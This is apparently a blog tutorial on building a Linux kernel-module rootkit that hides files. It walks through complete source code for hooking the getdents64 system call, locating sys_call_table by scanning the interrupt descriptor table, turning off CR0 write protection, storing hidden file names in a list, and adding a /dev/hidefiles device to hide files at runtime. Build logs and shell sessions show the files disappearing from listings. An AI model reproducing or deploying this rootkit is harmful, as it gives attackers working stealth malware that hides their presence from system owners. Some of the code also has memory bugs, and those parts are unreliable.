Rootkit for Hiding Files

23 October 2014 at 14:19
By: 0xe7

In this post I am going to be putting together all of the knowledge we have gained in the previous posts and improving on the last rootkit in a few different ways.

I will fix the issue that I explained the last LKM had (being able to query the file directly using ls [filename]), while making it more portable and giving it the ability to hide multiple files but I will start with splitting the LKM into multiple files to make it easier to manage.

The code for this rootkit will be in a link at the bottom of the post in .tgz format.

Splitting The LKM

Having the LKM split across multiple files makes it easier to manage, especially as the module gets more and more complex.

First we will start with the main file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{

    sys_call_table = (void*)0xc1454100;
    original_getdents64 = sys_call_table[__NR_getdents64];

    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    set_page_ro(sys_call_table);
    return 0;
}

static void __exit hidefiles_exit(void)
{
    set_page_rw(sys_call_table);
    sys_call_table[__NR_getdents64] = original_getdents64;
    set_page_ro(sys_call_table);
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

I've made a couple of changes here, like I've set the sys_call_table page to read only after I've made the change and changing the name of the init and exit functions, but other than that it is copy and pasted from the last LKM.

Now for the file containing the system calls:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define FILE_NAME "thisisatestfile.txt"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    int rtn;
    struct linux_dirent64 *cur = dirp;
    int i = 0;
    rtn = original_getdents64(fd, dirp, count);
    while (i < rtn) {
        if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
            int reclen = cur->d_reclen;
            char *next_rec = (char *)cur + reclen;
            int len = (int)dirp + rtn - (int)next_rec;
            memmove(cur, next_rec, len);
            rtn -= reclen;
            continue;
        }
        i += cur->d_reclen;
        cur = (struct linux_dirent64*) ((char*)dirp + i);
    }
    return rtn;
}

We also need to create a header file for the syscalls so that the functions can be referenced from the main.c file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#ifndef SYSCALLS
#define SYSCALLS

#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>

// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

#endif

This needs to be included in both the main.c and syscalls.c files, just add the line #include "syscalls.h" somewhere near the top.

This is why we have to put #ifndef, this ensures that the file will not be included twice.

Now we need to create the C file for the last set of functions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <asm/cacheflush.h>

int set_page_rw(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
    return 0;
}

int set_page_ro(unsigned long addr)
{
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    pte->pte = pte->pte &~_PAGE_RW;
    return 0;
}

We also need to create a header file for these functions so we can use them inside main.c:

1
2
3
4
5
6
7
#ifndef FUNCTS
#define FUNCTS

int set_page_rw(unsigned long addr);
int set_page_ro(unsigned long addr);

#endif

This file also needs to be included in main.c with the line #include "functs.h".

We now need a makefile:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o

I couldn't get it to work by just running make so I had to run the full command myself:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:21:9: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:23:2: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c: In function ‘hidefiles_exit’:
/root/lkms/hidefiles/main.c:29:2: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:31:9: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
  CC [M]  /root/lkms/hidefiles/functs.o
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'

We can ignore these warnings for the moment, we are going to replace these functions anyway.

Now to test our rootkit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
[email protected]:~/lkms/hidefiles# touch thisisatestfile.txt
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root    344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root    113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root  62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root    810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root  42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root    825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root  33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root     64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root     41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root    968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root    352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root  18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt

So it seems to work nicely, now we can concentrate on extending it.

Automagically Finding sys_call_table

A brilliant writeup of how to find the sys_call_table, amungst other things, on x86 Linux is here. I highly recommend reading that post.

We are going to use the technique under section 3.1, titled How to get sys_call_table[] without LKM.

You can use a slight vairation of this technique on each architecture, just search Google a bit and you should be able to find something if you can't work it out from this description.

Firstly we need to read the Interrupt Descriptor Table Register (IDTR) and get the address of the base of the Interrupt Descriptor Table (IDT).

Offset 0x80 from the IDT base address is the address of a function called system_call, this function uses call to make system calls using the sys_call_table.

Once we have the base address of the system_call function we need to search through its code for 3 bytes ("\xff\x14\x85").

The memmem function just searches through code for a particular set of bytes and returns a pointer to it if found or NULL if not. Its implemented in libc but we will have to implement it ourselves in our LKM.

We also need to remember to include the 2 structs idtr and idt.

Here's the code for all of this which we can put into functs.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct {
    unsigned short limit;
    unsigned long base;
} __attribute__ ((packed))idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off2;
} __attribute__ ((packed))idt;

void *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen)
{
    char *p;

    for(p = (char *)haystack; p <= ((char *)haystack - needlelen + haystacklen); p++)
        if(memcmp(p, needle, needlelen) == 0)
            return (void *)p;
    return NULL;
}

unsigned long *find_sys_call_table(void)
{
    char **p;
    unsigned long sct_off = 0;
    unsigned char code[255];

    asm("sidt %0":"=m" (idtr));
    memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
    sct_off = (idt.off2 << 16) | idt.off1;
    memcpy(code, (void *)sct_off, sizeof(code));

    p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);

    if(p)
        return *(unsigned long **)((char *)p + 3);
    else
        return NULL;
}

We also need to add the following prototype to functs.h:

1
unsigned long *find_sys_call_table(void);

Lastly we need to edit main.c so that we get the address of sys_call_table using this method, we just replace the line that starts sys_call_table = with:

1
2
3
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;

Improving The Method Of Writing To Read-Only Memory

So far we have manually changed the page table entry to change the permissions on the specific page that we want to write to read-write.

As we are running with the same privileges as the kernel we can do this in an easier way and ensure that any changes to this mechanism in the future doesn't stop our ability to write to this memory.

Running in kernel mode we have the ability to change the CR0 register.

The 16th bit of the CR0 register is responsible for enforcing whether or not the CPU can write to memory marked read-only.

With this is mind we can rewrite the functions that we were using in functs.c for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void disable_write_protection(void)
{
    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (value & 0x00010000) {
        value &= ~0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
    }
}

void enable_write_protection(void)
{
    unsigned long value;
    asm volatile("mov %%cr0,%0" : "=r" (value));
    if (!(value & 0x00010000)) {
        value |= 0x00010000;
        asm volatile("mov %0,%%cr0": : "r" (value));
    }
}

I've changed the names to make it apparent that these functions are actually doing something different.

You also need to change the 2 prototypes in functs.h to:

1
2
void disable_write_protection(void);
void enable_write_protection(void);

Lastly we need to edit main.c, remember these new functions do not require an argument.

Multi-File Support

To support hiding multiple files we need to implement a character device to communicate with the rootkit (we could use a network connection but we'll take that up later) and we need a method of storing the data.

For storing the data we will use a linked list, the kernel has the ability to manipulate linked lists but I will create my own functions for doing this as a programming exercise (later we will investigate how to use the features already in the kernel).

Linked List

First let's create the linked list and the functions for adding and removing items:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
struct file_list {
    char *file_name;
    struct file_list *next_file;
};

typedef struct file_list list;

list *hidden_files = NULL;

void addfile(const char *f)
{
    list *tmp;
    char *s;
    if (hidden_files == NULL) {
        tmp = (list*)vmalloc(sizeof(list));
        s = vmalloc(sizeof(*f));
        strcpy(s, f);
        tmp->file_name = s;
        tmp->next_file = hidden_files;
        hidden_files = tmp;
    } else {
        tmp = hidden_files;
        while (tmp != NULL && (strlen(tmp->file_name) != strlen(f) || strncmp(tmp->file_name, f, strlen(tmp->file_name)) != 0)) {
            tmp = tmp->next_file;
        }
        if (tmp == NULL) {
            list *tmp2;
            tmp2 = (list*)vmalloc(sizeof(list));
            s = vmalloc(sizeof(*f));
            strcpy(s, f);
            tmp2->file_name = s;
            tmp2->next_file = hidden_files;
            hidden_files = tmp2;
        }
    }
}

void remfile(const char *f)
{
    list *tmp, *tmp2;
    int c = 0;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strlen(tmp->file_name) == strlen(f)){
            if (strncmp(tmp->file_name, f, strlen(tmp->file_name)) == 0) {
                if (c == 0) {
                    hidden_files = tmp->next_file;
                    vfree(tmp->file_name);
                    vfree(tmp);
                    return;
                }
                tmp2->next_file = tmp->next_file;
                vfree(tmp->file_name);
                vfree(tmp);
            }
        }
        tmp2 = tmp;
        tmp = tmp->next_file;
        c += 1;
    }
}

The structure of each element is defined at the top (lines 1 - 4), its pretty simple, just a basic singly linked list.

2 functions are then defined addfile and remfile, which are pretty self-explainitory, 1 thing to note here is that the vmalloc function is being used to allocate the memory, which allocates a contiguous address range of virtual memory, this obviously means that vfree has to be used to free the memory after.

Both of these functions take 1 argument, a string, and add or remove that string to the list depending on which function is called.

Its best to create a function that empties the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void emptylist()
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        hidden_files = tmp->next_file;
        vfree(tmp->file_name);
        vfree(tmp);
        tmp = hidden_files;
    }
}

Lastly we need a function to check if a name exists in the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int lookupfilename(const char *f)
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strlen(tmp->file_name) == strlen(f)){
            if (strncmp(f, tmp->file_name, strlen(tmp->file_name)) == 0){
                return 1;
            }
        }
        tmp = tmp->next_file;
    }
    return 0;
}

This functions takes a string as an argument and iterates through the list checking, first the length, and then the whole string, against every entry in the list, if it finds a match it returns a 1, otherwise it returns a 0.

Initially I developed this linked list in a normal C application and just improved upon it and kernelfied it. :-) Here is my original application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct file_list {
    char *file_name;
    struct file_list *next_file;
};
typedef struct file_list list;
list *hidden_files = NULL;

void addfile(const char *f);
void remfile(char *f);
void printfiles();

void main()
{
    addfile("one");
    remfile("one");
    printfiles();
    addfile("two");
    printfiles();
    addfile("three");
    addfile("four");
    printfiles();
    remfile("two");

    printfiles();
}

void addfile(const char *f)
{
    list *tmp;
    if (hidden_files == NULL) {
        tmp = (list*)malloc(sizeof(list));
        char *s = malloc(sizeof(*f));
        strcpy(s, f);
        tmp->file_name = s;
        tmp->next_file = hidden_files;
        hidden_files = tmp;
    } else {
        tmp = hidden_files;
        while (tmp != NULL && strcmp(tmp->file_name, f) != 0) {
            tmp = tmp->next_file;
        }
        if (tmp == NULL) {
            list *tmp2;
            tmp2 = (list*)malloc(sizeof(list));
            char *s = malloc(sizeof(*f));
            strcpy(s, f);
            tmp2->file_name = s;
            tmp2->next_file = hidden_files;
            hidden_files = tmp2;
        }
    }
}

void remfile(char *f)
{
    list *tmp, *tmp2;
    int c = 0;
    tmp = hidden_files;
    while (tmp != NULL) {
        if (strcmp(tmp->file_name, f) == 0) {
            if (c == 0) {
                hidden_files = tmp->next_file;
                free(tmp->file_name);
                free(tmp);
                return;
            }
            tmp2->next_file = tmp->next_file;
            free(tmp->file_name);
            free(tmp);
        }
        tmp2 = tmp;
        tmp = tmp->next_file;
        c += 1;
    }
}

void printfiles()
{
    list *tmp;
    tmp = hidden_files;
    while (tmp != NULL) {
        printf("%s : %x\n", tmp->file_name, tmp->next_file);
        tmp = tmp->next_file;
    }
}

Clearly this application is using more primitive versions of the addfile and remfile functions above. Its also using the usermode's malloc and free instead of vmalloc and vfree for obvious reasons.

I only included this to show how I've developed these functions in usermode and then converted it to kernelmode.

Anyway, the kernel functions above (addfile, remfile, emptylist and lookupfilename) as well as the struct declarations and definition should go into the file list.c.

#include "list.h" should be put at the top and the file list.h should be created with the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#ifndef LIST
#define LIST

#include <linux/vmalloc.h>

// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);

#endif

We need to include the linux/vmalloc.h header file for the vmalloc and vfree functions.

syscalls.c needs to be changed, list.h needs to be included, the FILE_NAME definition should be removed and the strncmp line should be changed to use lookupfilename instead, so it should end up like the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "syscalls.h"
#include "list.h"

asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
    int rtn;
    struct linux_dirent64 *cur = dirp;
    int i = 0;
    rtn = original_getdents64(fd, dirp, count);
    while (i < rtn) {
        if (lookupfilename(cur->d_name) == 1) {
            int reclen = cur->d_reclen;
            char *next_rec = (char *)cur + reclen;
            int len = (int)dirp + rtn - (int)next_rec;
            memmove(cur, next_rec, len);
            rtn -= reclen;
            continue;
        }
        i += cur->d_reclen;
        cur = (struct linux_dirent64*) ((char*)dirp + i);
    }
    return rtn;
}

Because we want to hide some files when the LKM is loaded and also empty the list when the LKM is unloaded we need to include the list.h header file and make the relevent calls to addfile and emptylist in main.c, so our main.c should end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    enable_write_protection();
    addfile("thisisatestfile.txt");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    enable_write_protection();
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

Lastly we need to edit the Makefile to include list.o, so it should end up like this:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o list.o

Now to compile and test:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:18:17: warning: assignment from incompatible pointer type [enabled by default]
  CC [M]  /root/lkms/hidefiles/syscalls.o
  CC [M]  /root/lkms/hidefiles/list.o
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
[email protected]:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h  thisisatestfile.txt
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls
functs.c  functs.o      hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h  thisisatestfile.txt
functs.h  hidefiles.ko  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o

So, as you can clearly see, our LKM automatically hides files on initialization and now should have the capability to hide multiple files.

Character Device

We now need the ability to communicate with the LKM to dynamically hide and unhide files. The only way we've learned how to do this so far is by using a character device.

This character device will be simpler than our previous one because we only need the write operation but you can implement read for feedback if you want.

We will put this in a new file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include "cdev.h"

#define DEV_MAX 512

static struct file_operations dev_fops = {
    .write = dev_write,
};

struct miscdevice dev_misc_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "hidefiles",
    .fops = &dev_fops
};

ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp )
{
    char temp_dev_file[DEV_MAX+1], new_dev_file[DEV_MAX];
    int i, n;
    memset(new_dev_file, 0, DEV_MAX);
    memset(temp_dev_file, 0, DEV_MAX+1);
    if(count > DEV_MAX){
        if(copy_from_user(temp_dev_file,buff,DEV_MAX) != 0)
            printk("Userspace -> kernel copy failed!\n");
        else {
            temp_dev_file[DEV_MAX] = '\0';
            for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
                new_dev_file[n] = temp_dev_file[i];
            }
            if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
                addfile(new_dev_file);
            } else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
                remfile(new_dev_file);
            }
        }
        return DEV_MAX;
    } else {
        if(copy_from_user(temp_dev_file,buff,count) != 0)
            printk("Userspace -> kernel copy failed!\n");
        else {
            for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
                new_dev_file[n] = temp_dev_file[i];
            }
            if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
                addfile(new_dev_file);
            } else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
                remfile(new_dev_file);
            }
        }
        return count;
    }
}

Here I'm setting the maximum size to 512 but you can set it to what you wish.

I also return the number of bytes written here so that it doesn't break some applications that try to write to it (python for example).

The first character of the input is being used as the operation (A or a for adding a file and R or r for removing a file) and the actual filename starts after the second character in the input.

I've also fixed the buffer overflow that was in the last character device.

We need to create the following header file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#ifndef CDEV
#define CDEV

#include <linux/fs.h>
#include <asm/uaccess.h>
#include <linux/miscdevice.h>

#include "list.h"

// Functions
ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp );


// Structs
extern struct miscdevice dev_misc_device;

#endif

Now we need to include cdev.h in main.c, by adding the line #include "cdev.h" at the top, initialize the device on load and remove the device on unload, so our main.c should end up like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    enable_write_protection();
    misc_register(&dev_misc_device);
    addfile("thisisatestfile.txt");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    enable_write_protection();
    misc_deregister(&dev_misc_device);
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

Lastly we need to add cdev.o to the makefile:

1
2
3
obj-m += hidefiles.o

hidefiles-y := main.o syscalls.o functs.o list.o cdev.o

Now we just need to test it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:50:1: warning: the frame size of 1028 bytes is larger than 1024 bytes [-Wframe-larger-than=]
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
[email protected]:~/lkms/hidefiles# ls
app     cdev.h    functs.h      hidefiles.mod.c  list.c  main.c    modules.order   syscalls.h
app.c   cdev.o    functs.o      hidefiles.mod.o  list.h  main.o    Module.symvers  syscalls.o
cdev.c  functs.c  hidefiles.ko  hidefiles.o      list.o  Makefile  syscalls.c      thisisatestfile.txt
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.ko     hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.ko")'
